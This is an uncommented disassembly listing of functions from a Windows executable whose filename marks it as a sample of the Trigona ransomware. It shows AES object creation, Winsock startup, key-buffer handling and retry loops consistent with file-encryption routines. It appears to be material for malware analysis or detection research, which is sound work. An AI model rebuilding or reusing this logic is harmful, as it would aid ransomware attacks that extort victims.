File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    0044dd70
    0044dd70fn_44dd70:
    0044dd70push rbp
    0044dd71push r14
    0044dd73push r13
    0044dd75push rdi
    0044dd76push rsi
    0044dd77push rbx
    0044dd78sub rsp, 120
    0044dd7cmov rbp, rsp
    0044dd7fmov [rbp+56], rcx
    0044dd83mov [rbp+104], 0
    0044dd8bmov [rbp+96], 0
    0044dd93mov [rbp+88], 0
    0044dd9bmov [rbp+80], 0
    0044dda3nop
    0044dda4mov rcx, [rbp+56]
    0044dda8mov rdx, [rip-0x1ef07]
    0044ddafcall fn_410600
    0044ddb4lea rcx, [rbp+104]
    0044ddb8call fn_44c8c0
    0044ddbdlea rcx, [rbp+96]
    0044ddc1lea rdx, [rbp+88]
    0044ddc5call fn_44c940
    0044ddcalea rcx, [rbp+88]
    0044ddcecall fn_44d1b0
    0044ddd3lea rcx, [rbp+88]
    0044ddd7call fn_44d0a0
    0044dddclea rcx, [rbp+96]
    0044dde0lea rdx, [rbp+88]
    0044dde4lea r8, [rbp+80]
    0044dde8call fn_44d3d0
    0044ddedlea rcx, [rip+0x2298c]
    0044ddf4mov rdx, [rip-5811]
    0044ddfbcall fn_410600
    0044de00mov rax, [rbp+80]
    0044de04test rax, rax
    0044de07je 0x44de0d
    0044de09mov rax, [rax-8]
    0044de0d
    0044de0dloc_44de0d:
    0044de0dlea rcx, [rip+0x2296c]
    0044de14mov rdx, [rip-5843]
    0044de1bmov r8l, 1
    0044de21mov r9, rax
    0044de24call fn_410430
    0044de29mov rax, [rbp+80]
    0044de2dtest rax, rax
    0044de30je 0x44de36
    0044de32mov rax, [rax-8]
    0044de36
    0044de36loc_44de36:
    0044de36xor ecx, ecx
    0044de38mov edi, eax
    0044de3asub edi, 1
    0044de3dmov ebx, ecx
    0044de3fcmp ebx, edi
    0044de41jg 0x44df28
    0044de47sub edi, ecx
    0044de49add edi, 1
    0044de4c
    0044de4cloc_44de4c:
    0044de4cmovsxd rsi, ebx
    0044de4fmov rax, [rip+0x2292a]
    0044de56mov rcx, rsi
    0044de59add rcx, rcx
    0044de5cadd rcx, rcx
    0044de5fmov [rax+8*rcx], ebx
    0044de62mov rax, [rip+0x22917]
    0044de69mov rcx, rsi
    0044de6cadd rcx, rcx
    0044de6fadd rcx, rcx
    0044de72mov rdx, [rbp+80]
    0044de76movzx rdx, [rdx+4*rsi]
    0044de7bmov [rax+8*rcx+4], dl
    0044de7fmov rax, [rip+0x228fa]
    0044de86mov rcx, rsi
    0044de89add rcx, rcx
    0044de8cadd rcx, rcx
    0044de8fmov rdx, [rbp+80]
    0044de93movzx rdx, [rdx+4*rsi+1]
    0044de99mov [rax+8*rcx+5], dl
    0044de9dmov rax, [rip+0x228dc]
    0044dea4mov rcx, rsi
    0044dea7add rcx, rcx
    0044deaaadd rcx, rcx
    0044deadmov rdx, [rbp+80]
    0044deb1movzx rdx, [rdx+4*rsi+2]
    0044deb7mov [rax+8*rcx+6], dl
    0044debbmov rax, [rip+0x228be]
    0044dec2mov rcx, rsi
    0044dec5add rcx, rcx
    0044dec8add rcx, rcx
    0044decbmov rdx, [rbp+80]
    0044decfmovzx rdx, [rdx+4*rsi+3]
    0044ded5mov [rax+8*rcx+7], dl
    0044ded9mov rax, [rip+0x228a0]
    0044dee0mov rcx, rsi
    0044dee3add rcx, rcx
    0044dee6add rcx, rcx
    0044dee9lea rcx, [rax+8*rcx+8]
    0044deeecall fn_40bd90
    0044def3mov rax, [rip+0x22886]
    0044defamov rcx, rsi
    0044defdadd rcx, rcx
    0044df00add rcx, rcx
    0044df03mov [rax+8*rcx+24], 0
    0044df08mov rax, [rip+0x22871]
    0044df0fadd rsi, rsi
    0044df12add rsi, rsi
    0044df15mov [rax+8*rsi+25], 0
    0044df1aadd ebx, 1
    0044df1dsub edi, 1
    0044df20test edi, edi
    0044df22jne 0x44de4c
    0044df28
    0044df28loc_44df28:
    0044df28nop
    0044df29lea rcx, [rbp+96]
    0044df2dmov rdx, [rip-0x1f0cc]
    0044df34call fn_410600
    0044df39lea rcx, [rbp+80]
    0044df3dmov rdx, [rip-0x1f0dc]
    0044df44call fn_410600
    0044df49mov rax, [rip+0x22830]
    0044df50test rax, rax
    0044df53je 0x44df59
    0044df55mov rax, [rax-8]
    0044df59
    0044df59loc_44df59:
    0044df59xor ecx, ecx
    0044df5bmov esi, eax
    0044df5dsub esi, 1
    0044df60mov ebx, ecx
    0044df62cmp ebx, esi
    0044df64jg 0x44dfc7
    0044df66sub esi, ecx
    0044df68add esi, 1
    0044df6bjmp 0x44df77
    0044df6d
    0044df6dloc_44df6d:
    0044df6dmov ecx, 3000
    0044df72call Sleep
    0044df77
    0044df77loc_44df77:
    0044df77xor ecx, ecx
    0044df79xor edx, edx
    0044df7blea r8, [rip-2482]
    0044df82mov rax, [rip+0x227f7]
    0044df89movsxd r9, ebx
    0044df8cadd r9, r9
    0044df8fadd r9, r9
    0044df92lea r9, [rax+8*r9]
    0044df96mov [rsp+32], 0
    0044df9elea rax, [rbp+76]
    0044dfa2mov [rsp+40], rax
    0044dfa7call fn_40bb20
    0044dfactest rax, rax
    0044dfafje 0x44df6d
    0044dfb1mov ecx, ebx
    0044dfb3mov edx, 1000
    0044dfb8call fn_44c7b0
    0044dfbdadd ebx, 1
    0044dfc0sub esi, 1
    0044dfc3test esi, esi
    0044dfc5jne 0x44df77
    0044dfc7
    0044dfc7loc_44dfc7:
    0044dfc7nop
    0044dfc8jmp 0x44dfd4
    0044dfca
    0044dfcaloc_44dfca:
    0044dfcamov ecx, 2000
    0044dfcfcall Sleep
    0044dfd4
    0044dfd4loc_44dfd4:
    0044dfd4call fn_44c860
    0044dfd9test al, al
    0044dfdbje 0x44dfca
    0044dfddmov rax, [rip+0x2279c]
    0044dfe4test rax, rax
    0044dfe7je 0x44dfed
    0044dfe9mov rax, [rax-8]
    0044dfed
    0044dfedloc_44dfed:
    0044dfedxor ecx, ecx
    0044dfefmov edi, eax
    0044dff1sub edi, 1
    0044dff4mov ebx, ecx
    0044dff6cmp ebx, edi
    0044dff8jg 0x44e075
    0044dffasub edi, ecx
    0044dffcadd edi, 1
    0044dfff
    0044dfffloc_44dfff:
    0044dfffmov rax, [rip+0x2277a]
    0044e006movsxd rcx, ebx
    0044e009add rcx, rcx
    0044e00cadd rcx, rcx
    0044e00fmov [rax+8*rcx+24], 0
    0044e014movsxd rsi, ebx
    0044e017mov rax, [rip+0x22762]
    0044e01emov rcx, rsi
    0044e021add rcx, rcx
    0044e024add rcx, rcx
    0044e027mov rcx, [rax+8*rcx+8]
    0044e02cxor edx, edx
    0044e02ecall fn_40d640
    0044e033test eax, eax
    0044e035je 0x44e06b
    0044e037mov rax, [rip+0x22742]
    0044e03emov rcx, rsi
    0044e041add rcx, rcx
    0044e044add rcx, rcx
    0044e047mov rcx, [rax+8*rcx+8]
    0044e04cmov rdx, [rbp+104]
    0044e050call fn_40d640
    0044e055test eax, eax
    0044e057je 0x44e06b
    0044e059mov rax, [rip+0x22720]
    0044e060add rsi, rsi
    0044e063add rsi, rsi
    0044e066mov [rax+8*rsi+25], 0
    0044e06b
    0044e06bloc_44e06b:
    0044e06badd ebx, 1
    0044e06esub edi, 1
    0044e071test edi, edi
    0044e073jne 0x44dfff
    0044e075
    0044e075loc_44e075:
    0044e075nop
    0044e076mov rax, [rip+0x22703]
    0044e07dtest rax, rax
    0044e080je 0x44e086
    0044e082mov rax, [rax-8]
    0044e086
    0044e086loc_44e086:
    0044e086xor ecx, ecx
    0044e088mov esi, eax
    0044e08asub esi, 1
    0044e08dmov ebx, ecx
    0044e08fcmp ebx, esi
    0044e091jg 0x44e10b
    0044e093sub esi, ecx
    0044e095add esi, 1
    0044e098
    0044e098loc_44e098:
    0044e098mov rax, [rip+0x226e1]
    0044e09fmovsxd rcx, ebx
    0044e0a2add rcx, rcx
    0044e0a5add rcx, rcx
    0044e0a8cmp [rax+8*rcx+25], 0
    0044e0adjne 0x44e101
    0044e0afjmp 0x44e0bb
    0044e0b1
    0044e0b1loc_44e0b1:
    0044e0b1mov ecx, 3000
    0044e0b6call Sleep
    0044e0bb
    0044e0bbloc_44e0bb:
    0044e0bbxor ecx, ecx
    0044e0bdxor edx, edx
    0044e0bflea r8, [rip-2374]
    0044e0c6mov rax, [rip+0x226b3]
    0044e0cdmovsxd r9, ebx
    0044e0d0add r9, r9
    0044e0d3add r9, r9
    0044e0d6lea r9, [rax+8*r9]
    0044e0damov [rsp+32], 0
    0044e0e2lea rax, [rbp+76]
    0044e0e6mov [rsp+40], rax
    0044e0ebcall fn_40bb20
    0044e0f0test rax, rax
    0044e0f3je 0x44e0b1
    0044e0f5mov ecx, ebx
    0044e0f7mov edx, 1000
    0044e0fccall fn_44c7b0
    0044e101
    0044e101loc_44e101:
    0044e101add ebx, 1
    0044e104sub esi, 1
    0044e107test esi, esi
    0044e109jne 0x44e098
    0044e10b
    0044e10bloc_44e10b:
    0044e10bnop
    0044e10cjmp 0x44e118
    0044e10e
    0044e10eloc_44e10e:
    0044e10emov ecx, 2000
    0044e113call Sleep
    0044e118
    0044e118loc_44e118:
    0044e118call fn_44c860
    0044e11dtest al, al
    0044e11fje 0x44e10e
    0044e121xor edi, edi
    0044e123mov rax, [rip+0x22656]
    0044e12atest rax, rax
    0044e12dje 0x44e133
    0044e12fmov rax, [rax-8]
    0044e133
    0044e133loc_44e133:
    0044e133xor ecx, ecx
    0044e135mov edx, eax
    0044e137sub edx, 1
    0044e13amov ebx, ecx
    0044e13ccmp ebx, edx
    0044e13ejg 0x44e16f
    0044e140sub edx, ecx
    0044e142add edx, 1
    0044e145
    0044e145loc_44e145:
    0044e145mov rax, [rip+0x22634]
    0044e14cmovsxd rcx, ebx
    0044e14fadd rcx, rcx
    0044e152add rcx, rcx
    0044e155mov rax, [rax+8*rcx+16]
    0044e15atest rax, rax
    0044e15dje 0x44e163
    0044e15fmov rax, [rax-8]
    0044e163
    0044e163loc_44e163:
    0044e163add edi, eax
    0044e165add ebx, 1
    0044e168sub edx, 1
    0044e16btest edx, edx
    0044e16djne 0x44e145
    0044e16f
    0044e16floc_44e16f:
    0044e16fnop
    0044e170mov rcx, [rbp+56]
    0044e174mov rdx, [rip-0x1f2d3]
    0044e17bcall fn_410600
    0044e180mov rcx, [rbp+56]
    0044e184mov rdx, [rip-0x1f2e3]
    0044e18bmov r8l, 1
    0044e191mov r9l, edi
    0044e194call fn_410430
    0044e199xor edi, edi
    0044e19bmov rax, [rip+0x225de]
    0044e1a2test rax, rax
    0044e1a5je 0x44e1ab
    0044e1a7mov rax, [rax-8]
    0044e1ab
    0044e1abloc_44e1ab:
    0044e1abxor ecx, ecx
    0044e1admov r13l, eax
    0044e1b0sub r13l, 1
    0044e1b4mov ebx, ecx
    0044e1b6cmp ebx, r13l
    0044e1b9jg 0x44e245
    0044e1bfsub r13l, ecx
    0044e1c2add r13l, 1
    0044e1c6
    0044e1c6loc_44e1c6:
    0044e1c6mov rax, [rip+0x225b3]
    0044e1cdmovsxd rcx, ebx
    0044e1d0add rcx, rcx
    0044e1d3add rcx, rcx
    0044e1d6mov rax, [rax+8*rcx+16]
    0044e1dbtest rax, rax
    0044e1deje 0x44e1e4
    0044e1e0mov rax, [rax-8]
    0044e1e4
    0044e1e4loc_44e1e4:
    0044e1e4xor ecx, ecx
    0044e1e6mov r14l, eax
    0044e1e9sub r14l, 1
    0044e1edmov esi, ecx
    0044e1efcmp esi, r14l
    0044e1f2jg 0x44e238
    0044e1f4sub r14l, ecx
    0044e1f7add r14l, 1
    0044e1fb
    0044e1fbloc_44e1fb:
    0044e1fbmov rax, [rbp+56]
    0044e1ffmov rax, [rax]
    0044e202mov ecx, edi
    0044e204lea rcx, [rax+8*rcx]
    0044e208mov rax, [rip+0x22571]
    0044e20fmovsxd rdx, ebx
    0044e212add rdx, rdx
    0044e215add rdx, rdx
    0044e218mov rax, [rax+8*rdx+16]
    0044e21dmovsxd rdx, esi
    0044e220mov rdx, [rax+8*rdx]
    0044e224call fn_40c440
    0044e229add edi, 1
    0044e22cadd esi, 1
    0044e22fsub r14l, 1
    0044e233test r14l, r14l
    0044e236jne 0x44e1fb
    0044e238
    0044e238loc_44e238:
    0044e238nop
    0044e239add ebx, 1
    0044e23csub r13l, 1
    0044e240test r13l, r13l
    0044e243jne 0x44e1c6
    0044e245
    0044e245loc_44e245:
    0044e245nop
    0044e246lea rcx, [rip+0x22533]
    0044e24dmov rdx, [rip-6924]
    0044e254call fn_410600
    0044e259nop
    0044e25alea rcx, [rbp+80]
    0044e25emov rdx, [rip-0x1f3fd]
    0044e265mov r8l, 3
    0044e26bcall fn_40ec40
    0044e270lea rcx, [rbp+104]
    0044e274call fn_40bd90
    0044e279lea rsp, [rbp+120]
    0044e27dpop rbx
    0044e27epop rsi
    0044e27fpop rdi
    0044e280pop r13
    0044e282pop r14
    0044e284pop rbp
    0044e285ret
    0044dd70
    0044e286
    0044e286 48 90 48 8d 04 05 00 00 00 00 H.H.......
    0044e290
    0044e290fn_44e290:
    0044e290push rbp
    0044e291push rbx
    0044e292sub rsp, 40
    0044e296mov rbp, rsp
    0044e299mov rbx, rdx
    0044e29clea rcx, [rbx+80]
    0044e2a0mov rdx, [rip-0x1f43f]
    0044e2a7mov r8l, 3
    0044e2adcall fn_40ec40
    0044e2b2lea rcx, [rbx+104]
    0044e2b6call fn_40bd90
    0044e2bblea rsp, [rbp+40]
    0044e2bfpop rbx
    0044e2c0pop rbp
    0044e2c1ret
    0044e290
    0044e2c2
    0044e2c2 // align 0x10
    0044e2d0
    0044e2d0fn_44e2d0:
    0044e2d0sub rsp, 40
    0044e2d4mov cx, 257
    0044e2d8mov rax, [rip+0x15ce1]
    0044e2dflea rdx, [rax+328]
    0044e2e6call WSAStartup
    0044e2ebtest eax, eax
    0044e2edje 0x44e2fd
    0044e2efmov rax, [rip+0x15cca]
    0044e2f6mov [rax+300], 1
    0044e2fd
    0044e2fdloc_44e2fd:
    0044e2fdadd rsp, 40
    0044e301ret
    0044e2d0
    0044e302
    0044e302 // align 0x10
    0044e310
    0044e310Unit54.finalization:
    0044e310push rbp
    0044e311sub rsp, 32
    0044e315mov rbp, rsp
    0044e318nop
    0044e319add [rip+0x22468], 1
    0044e320cmp [rip+0x22461], 0
    0044e327jne 0x44e33d
    0044e329lea rcx, [rip+0x22450]
    0044e330mov rdx, [rip-7151]
    0044e337call fn_410600
    0044e33cnop
    0044e33d
    0044e33dloc_44e33d:
    0044e33dlea rsp, [rbp+32]
    0044e341pop rbp
    0044e342ret
    0044e310
    0044e343
    0044e343 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e350
    0044e350fn_44e350:
    0044e350push rbp
    0044e351mov rbp, rsp
    0044e354mov rsp, rbp
    0044e357pop rbp
    0044e358ret
    0044e350
    0044e359
    0044e359 // align 0x10
    0044e360
    0044e360Unit54.initialization:
    0044e360sub [rip+0x22421], 1
    0044e367cmp [rip+0x2241a], -1
    0044e36eret
    0044e360
    0044e36f
    0044e36f // align 0x10
    0044e370
    0044e370fn_44e370:
    0044e370push rbp
    0044e371push rbx
    0044e372sub rsp, 56
    0044e376mov rbp, rsp
    0044e379mov [rbp+40], rcx
    0044e37dmov [rbp+88], rdx
    0044e381lea rcx, [rbp+88]
    0044e385call fn_40bf00
    0044e38anop
    0044e38bmov rcx, [rbp+40]
    0044e38fcall fn_40bd90
    0044e394mov rbx, [rbp+88]
    0044e398lea rcx, [rip+205]
    0044e39fmov rdx, rbx
    0044e3a2mov r8l, 1
    0044e3a8call fn_40de90
    0044e3adcmp eax, 1
    0044e3b0jne 0x44e42f
    0044e3b2xor eax, eax
    0044e3b4test rbx, rbx
    0044e3b7je 0x44e3bf
    0044e3b9mov eax, [rbx-4]
    0044e3bcshr eax, 1
    0044e3bf
    0044e3bfloc_44e3bf:
    0044e3bflea rcx, [rbp+88]
    0044e3c3mov rdx, [rbp+88]
    0044e3c7mov r8l, 3
    0044e3cdmov r9l, eax
    0044e3d0call fn_40d650
    0044e3d5mov rbx, [rbp+88]
    0044e3d9lea rcx, [rip+152]
    0044e3e0mov rdx, rbx
    0044e3e3mov r8l, 1
    0044e3e9call fn_40de90
    0044e3eetest eax, eax
    0044e3f0je 0x44e421
    0044e3f2lea rcx, [rip+127]
    0044e3f9mov rdx, rbx
    0044e3fcmov r8l, 1
    0044e402call fn_40de90
    0044e407lea rcx, [rbp+88]
    0044e40bmov rdx, [rbp+88]
    0044e40fmov r8l, 1
    0044e415mov r9l, eax
    0044e418sub r9l, 1
    0044e41ccall fn_40d650
    0044e421
    0044e421loc_44e421:
    0044e421mov rcx, [rbp+40]
    0044e425mov rdx, [rbp+88]
    0044e429call fn_40c440
    0044e42enop
    0044e42f
    0044e42floc_44e42f:
    0044e42flea rcx, [rbp+88]
    0044e433call fn_40bd90
    0044e438mov rax, [rbp+40]
    0044e43clea rsp, [rbp+56]
    0044e440pop rbx
    0044e441pop rbp
    0044e442ret
    0044e370
    0044e443
    0044e443 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e450
    0044e450fn_44e450:
    0044e450push rbp
    0044e451sub rsp, 32
    0044e455mov rbp, rsp
    0044e458lea rcx, [rdx+88]
    0044e45ccall fn_40bd90
    0044e461lea rsp, [rbp+32]
    0044e465pop rbp
    0044e466ret
    0044e450
    0044e467
    0044e467 00 04 00 00 00 5c 00 5c 00 .....\.\.
    0044e470 00 00 00 00 02 00 00 00 5c 00 00 00 cc cc cc cc ........\.......
    0044e480
    0044e480fn_44e480:
    0044e480push rbp
    0044e481push rdi
    0044e482push rsi
    0044e483push rbx
    0044e484sub rsp, 168
    0044e48bmov rbp, rsp
    0044e48emov [rbp+88], 0
    0044e496mov [rbp+152], 0
    0044e4a1mov [rbp+144], 0
    0044e4acmov [rbp+136], 0
    0044e4b7mov [rbp+128], 0
    0044e4c2mov [rbp+120], 0
    0044e4camov [rbp+112], 0
    0044e4d2nop
    0044e4d3mov rcx, [rip-0x1999a]
    0044e4damov dl, 1
    0044e4dccall TAESData.Create
    0044e4e1mov [rbp+104], rax
    0044e4e5lea rcx, [rbp+120]
    0044e4e9mov rdx, [rip-0x1f6d0]
    0044e4f0call fn_410600
    0044e4f5lea rcx, [rbp+120]
    0044e4f9mov rdx, [rip-0x1f6e0]
    0044e500mov r8l, 1
    0044e506mov r9l, 0x100000
    0044e50ccall fn_410430
    0044e511lea rcx, [rbp+112]
    0044e515mov rdx, [rip-0x1f6fc]
    0044e51ccall fn_410600
    0044e521lea rcx, [rbp+112]
    0044e525mov rdx, [rip-0x1f70c]
    0044e52cmov r8l, 1
    0044e532mov r9l, 0x100000
    0044e538call fn_410430
    0044e53dlea rcx, [rbp+152]
    0044e544call fn_442e50
    0044e549lea rcx, [rbp+152]
    0044e550lea rdx, [rbp+144]
    0044e557call fn_442cb0
    0044e55clea rcx, [rbp+152]
    0044e563lea rdx, [rbp+144]
    0044e56alea r8, [rbp+136]
    0044e571call fn_442930
    0044e576lea rcx, [rbp+128]
    0044e57dcall fn_40bd90
    0044e582mov rax, [rip+0x22207]
    0044e589test rax, rax
    0044e58cje 0x44e592
    0044e58emov rax, [rax-8]
    0044e592
    0044e592loc_44e592:
    0044e592xor ecx, ecx
    0044e594mov edi, eax
    0044e596sub edi, 1
    0044e599mov ebx, ecx
    0044e59bcmp ebx, edi
    0044e59djg 0x44e674
    0044e5a3sub edi, ecx
    0044e5a5add edi, 1
    0044e5a8
    0044e5a8loc_44e5a8:
    0044e5a8movsxd rsi, ebx
    0044e5ablea rcx, [rbp+88]
    0044e5afmov rax, [rip+0x221da]
    0044e5b6mov rdx, [rax+8*rsi]
    0044e5bacall fn_44e370
    0044e5bfmov rcx, [rbp+128]
    0044e5c6mov rdx, [rbp+88]
    0044e5cacall fn_40d640
    0044e5cftest eax, eax
    0044e5d1je 0x44e623
    0044e5d3lea rcx, [rbp+152]
    0044e5dacall fn_442e50
    0044e5dflea rcx, [rbp+152]
    0044e5e6lea rdx, [rbp+144]
    0044e5edcall fn_442cb0
    0044e5f2lea rcx, [rbp+152]
    0044e5f9lea rdx, [rbp+144]
    0044e600lea r8, [rbp+136]
    0044e607call fn_442930
    0044e60clea rcx, [rbp+128]
    0044e613mov rax, [rip+0x22176]
    0044e61amov rdx, [rax+8*rsi]
    0044e61ecall fn_44e370
    0044e623
    0044e623loc_44e623:
    0044e623mov rax, [rip+0x22166]
    0044e62amov rcx, [rax+8*rsi]
    0044e62elea rdx, [rbp+152]
    0044e635lea r8, [rbp+136]
    0044e63clea r9, [rbp+120]
    0044e640lea rax, [rbp+112]
    0044e644mov [rsp+32], rax
    0044e649lea rax, [rbp+104]
    0044e64dmov [rsp+40], rax
    0044e652mov [rsp+48], 0
    0044e657mov [rsp+56], 1
    0044e65cmov [rsp+64], 0
    0044e661call fn_449120
    0044e666add ebx, 1
    0044e669sub edi, 1
    0044e66ctest edi, edi
    0044e66ejne 0x44e5a8
    0044e674
    0044e674loc_44e674:
    0044e674nop
    0044e675mov rcx, [rbp+104]
    0044e679call TObject.Free
    0044e67elea rcx, [rbp+120]
    0044e682mov rdx, [rip-0x1f869]
    0044e689call fn_410600
    0044e68elea rcx, [rbp+112]
    0044e692mov rdx, [rip-0x1f879]
    0044e699call fn_410600
    0044e69emov rcx, [rbp+152]
    0044e6a5mov edx, 32
    0044e6aaxor r8, r8
    0044e6adcall fn_4069b0
    0044e6b2mov rax, [rip+0x15907]
    0044e6b9mov [rax+316], 1
    0044e6c0nop
    0044e6c1lea rcx, [rbp+88]
    0044e6c5call fn_40bd90
    0044e6calea rcx, [rbp+112]
    0044e6cemov rdx, [rip-0x1f8b5]
    0044e6d5mov r8l, 2
    0044e6dbcall fn_40ec40
    0044e6e0lea rcx, [rbp+128]
    0044e6e7call fn_40bd90
    0044e6eclea rcx, [rbp+136]
    0044e6f3mov rdx, [rip-0x1f8da]
    0044e6famov r8l, 3
    0044e700call fn_40ec40
    0044e705lea rsp, [rbp+168]
    0044e70cpop rbx
    0044e70dpop rsi
    0044e70epop rdi
    0044e70fpop rbp
    0044e710ret
    0044e480
    0044e711
    0044e711 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044e720
    0044e720fn_44e720:
    0044e720push rbp
    0044e721push rbx
    0044e722sub rsp, 40
    0044e726mov rbp, rsp
    0044e729mov rbx, rdx
    0044e72clea rcx, [rbx+88]
    0044e730call fn_40bd90
    0044e735lea rcx, [rbx+112]
    0044e739mov rdx, [rip-0x1f920]
    0044e740mov r8l, 2
    0044e746call fn_40ec40
    0044e74blea rcx, [rbx+128]
    0044e752call fn_40bd90
    0044e757lea rcx, [rbx+136]
    0044e75emov rdx, [rip-0x1f945]
    0044e765mov r8l, 3
    0044e76bcall fn_40ec40
    0044e770lea rsp, [rbp+40]
    0044e774pop rbx
    0044e775pop rbp
    0044e776ret
    0044e720
    0044e777
    0044e777 // align 0x10
    0044e780
    0044e780fn_44e780:
    0044e780push rbp
    0044e781push rsi
    0044e782push rbx
    0044e783sub rsp, 96
    0044e787mov rbp, rsp
    0044e78amov [rbp+88], 0
    0044e792mov [rbp+80], 0
    0044e79amov [rbp+72], 0
    0044e7a2nop
    0044e7a3mov rcx, [rip-0x19c6a]
    0044e7aamov dl, 1
    0044e7accall TAESData.Create
    0044e7b1mov [rbp+64], rax
    0044e7b5lea rcx, [rbp+80]
    0044e7b9call fn_442e50
    0044e7belea rcx, [rbp+80]
    0044e7c2lea rdx, [rbp+72]
    0044e7c6call fn_442cb0
    0044e7cblea rcx, [rbp+80]
    0044e7cflea rdx, [rbp+72]
    0044e7d3lea r8, [rbp+88]
    0044e7d7call fn_441e90
    0044e7dcmov rax, [rip+0x21fad]
    0044e7e3test rax, rax
    0044e7e6je 0x44e7ec
    0044e7e8mov rax, [rax-8]
    0044e7ec
    0044e7ecloc_44e7ec:
    0044e7ecxor ecx, ecx
    0044e7eemov esi, eax
    0044e7f0sub esi, 1
    0044e7f3mov ebx, ecx
    0044e7f5cmp ebx, esi
    0044e7f7jg 0x44e836
    0044e7f9sub esi, ecx
    0044e7fbadd esi, 1
    0044e7fe
    0044e7feloc_44e7fe:
    0044e7femov rax, [rip+0x21f8b]
    0044e805movsxd rcx, ebx
    0044e808mov rcx, [rax+8*rcx]
    0044e80clea rdx, [rbp+80]
    0044e810lea r8, [rbp+88]
    0044e814lea r9, [rbp+64]
    0044e818mov [rsp+32], 0
    0044e81dmov [rsp+40], 3
    0044e822mov [rsp+48], 0
    0044e827call fn_44afd0
    0044e82cadd ebx, 1
    0044e82fsub esi, 1
    0044e832test esi, esi
    0044e834jne 0x44e7fe
    0044e836
    0044e836loc_44e836:
    0044e836nop
    0044e837mov rcx, [rbp+64]
    0044e83bcall TObject.Free
    0044e840mov rcx, [rbp+80]
    0044e844mov edx, 32
    0044e849xor r8, r8
    0044e84ccall fn_4069b0
    0044e851mov rax, [rip+0x15998]
    0044e858mov rcx, [rax]
    0044e85bcall TSimpleCriticalSection.Enter
    0044e860mov rax, [rip+0x15989]
    0044e867lea rcx, [rax+16]
    0044e86bcall fn_40bd90
    0044e870mov rax, [rip+0x15979]
    0044e877mov rcx, [rax]
    0044e87acall TSimpleCriticalSection.Leave
    0044e87fmov rax, [rip+0x1573a]
    0044e886mov [rax+318], 1
    0044e88dnop
    0044e88elea rcx, [rbp+72]
    0044e892mov rdx, [rip-0x1fa79]
    0044e899mov r8l, 3
    0044e89fcall fn_40ec40
    0044e8a4lea rsp, [rbp+96]
    0044e8a8pop rbx
    0044e8a9pop rsi
    0044e8aapop rbp
    0044e8abret
    0044e780
    0044e8ac
    0044e8ac 48 8d 40 00 H.@.
    0044e8b0
    0044e8b0fn_44e8b0:
    0044e8b0push rbp
    0044e8b1sub rsp, 32
    0044e8b5mov rbp, rsp
    0044e8b8lea rcx, [rdx+72]
    0044e8bcmov rdx, [rip-0x1faa3]
    0044e8c3mov r8l, 3
    0044e8c9call fn_40ec40
    0044e8celea rsp, [rbp+32]
    0044e8d2pop rbp
    0044e8d3ret
    0044e8b0
    0044e8d4
    0044e8d4 // align 0x10
    0044e8e0
    0044e8e0fn_44e8e0:
    0044e8e0sub rsp, 40
    0044e8e4lea rcx, [rip+0x21ea5]
    0044e8ebcall fn_44dd70
    0044e8f0mov rax, [rip+0x156c9]
    0044e8f7mov [rax+319], 1
    0044e8feadd rsp, 40
    0044e902ret
    0044e8e0
    0044e903
    0044e903 // align 0x10
    0044e910
    0044e910Unit55.finalization:
    0044e910push rbp
    0044e911sub rsp, 32
    0044e915mov rbp, rsp
    0044e918nop
    0044e919add [rip+0x21e78], 1
    0044e920cmp [rip+0x21e71], 0
    0044e927jne 0x44e93d
    0044e929lea rcx, [rip+0x21e60]
    0044e930mov rdx, [rip-0x1fa8f]
    0044e937call fn_410600
    0044e93cnop
    0044e93d
    0044e93dloc_44e93d:
    0044e93dlea rsp, [rbp+32]
    0044e941pop rbp
    0044e942ret
    0044e910
    0044e943
    0044e943 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e950
    0044e950fn_44e950:
    0044e950push rbp
    0044e951mov rbp, rsp
    0044e954mov rsp, rbp
    0044e957pop rbp
    0044e958ret
    0044e950
    0044e959
    0044e959 // align 0x10
    0044e960
    0044e960Unit55.initialization:
    0044e960sub [rip+0x21e31], 1
    0044e967cmp [rip+0x21e2a], -1
    0044e96eret
    0044e960
    0044e96f
    0044e96f // align 0x10
    0044e970
    0044e970fn_44e970:
    0044e970push rbp
    0044e971sub rsp, 96
    0044e975mov rbp, rsp
    0044e978mov [rbp+88], 0
    0044e980mov [rbp+80], 0
    0044e988mov [rbp+72], 0
    0044e990mov [rbp+64], 0
    0044e998mov [rbp+56], 0
    0044e9a0mov [rbp+112], rcx
    0044e9a4lea rcx, [rbp+112]
    0044e9a8call fn_40bf00
    0044e9adnop
    0044e9aemov rcx, [rip-0x19e75]
    0044e9b5mov dl, 1
    0044e9b7call TAESData.Create
    0044e9bcmov [rbp+48], rax
    0044e9c0lea rcx, [rbp+64]
    0044e9c4mov rdx, [rip-0x1fbab]
    0044e9cbcall fn_410600
    0044e9d0lea rcx, [rbp+64]
    0044e9d4mov rdx, [rip-0x1fbbb]
    0044e9dbmov r8l, 1
    0044e9e1mov r9l, 0x100000
    0044e9e7call fn_410430
    0044e9eclea rcx, [rbp+56]
    0044e9f0mov rdx, [rip-0x1fbd7]
    0044e9f7call fn_410600
    0044e9fclea rcx, [rbp+56]
    0044ea00mov rdx, [rip-0x1fbe7]
    0044ea07mov r8l, 1
    0044ea0dmov r9l, 0x100000
    0044ea13call fn_410430
    0044ea18mov rax, [rip+0x155a1]
    0044ea1fcmp [rax+307], 0
    0044ea26jne 0x44eaad
    0044ea2cmov rax, [rip+0x1558d]
    0044ea33cmp [rax+308], 0
    0044ea3aje 0x44ea4a
    0044ea3clea rcx, [rip+381]
    0044ea43mov dl, 1
    0044ea45call fn_439060
    0044ea4a
    0044ea4aloc_44ea4a:
    0044ea4alea rcx, [rbp+88]
    0044ea4ecall fn_442e50
    0044ea53mov rax, [rip+0x15566]
    0044ea5acmp [rax+308], 0
    0044ea61je 0x44ea71
    0044ea63lea rcx, [rip+398]
    0044ea6amov dl, 1
    0044ea6ccall fn_439060
    0044ea71
    0044ea71loc_44ea71:
    0044ea71lea rcx, [rbp+88]
    0044ea75lea rdx, [rbp+80]
    0044ea79call fn_442cb0
    0044ea7emov rax, [rip+0x1553b]
    0044ea85cmp [rax+308], 0
    0044ea8cje 0x44ea9c
    0044ea8elea rcx, [rip+415]
    0044ea95mov dl, 1
    0044ea97call fn_439060
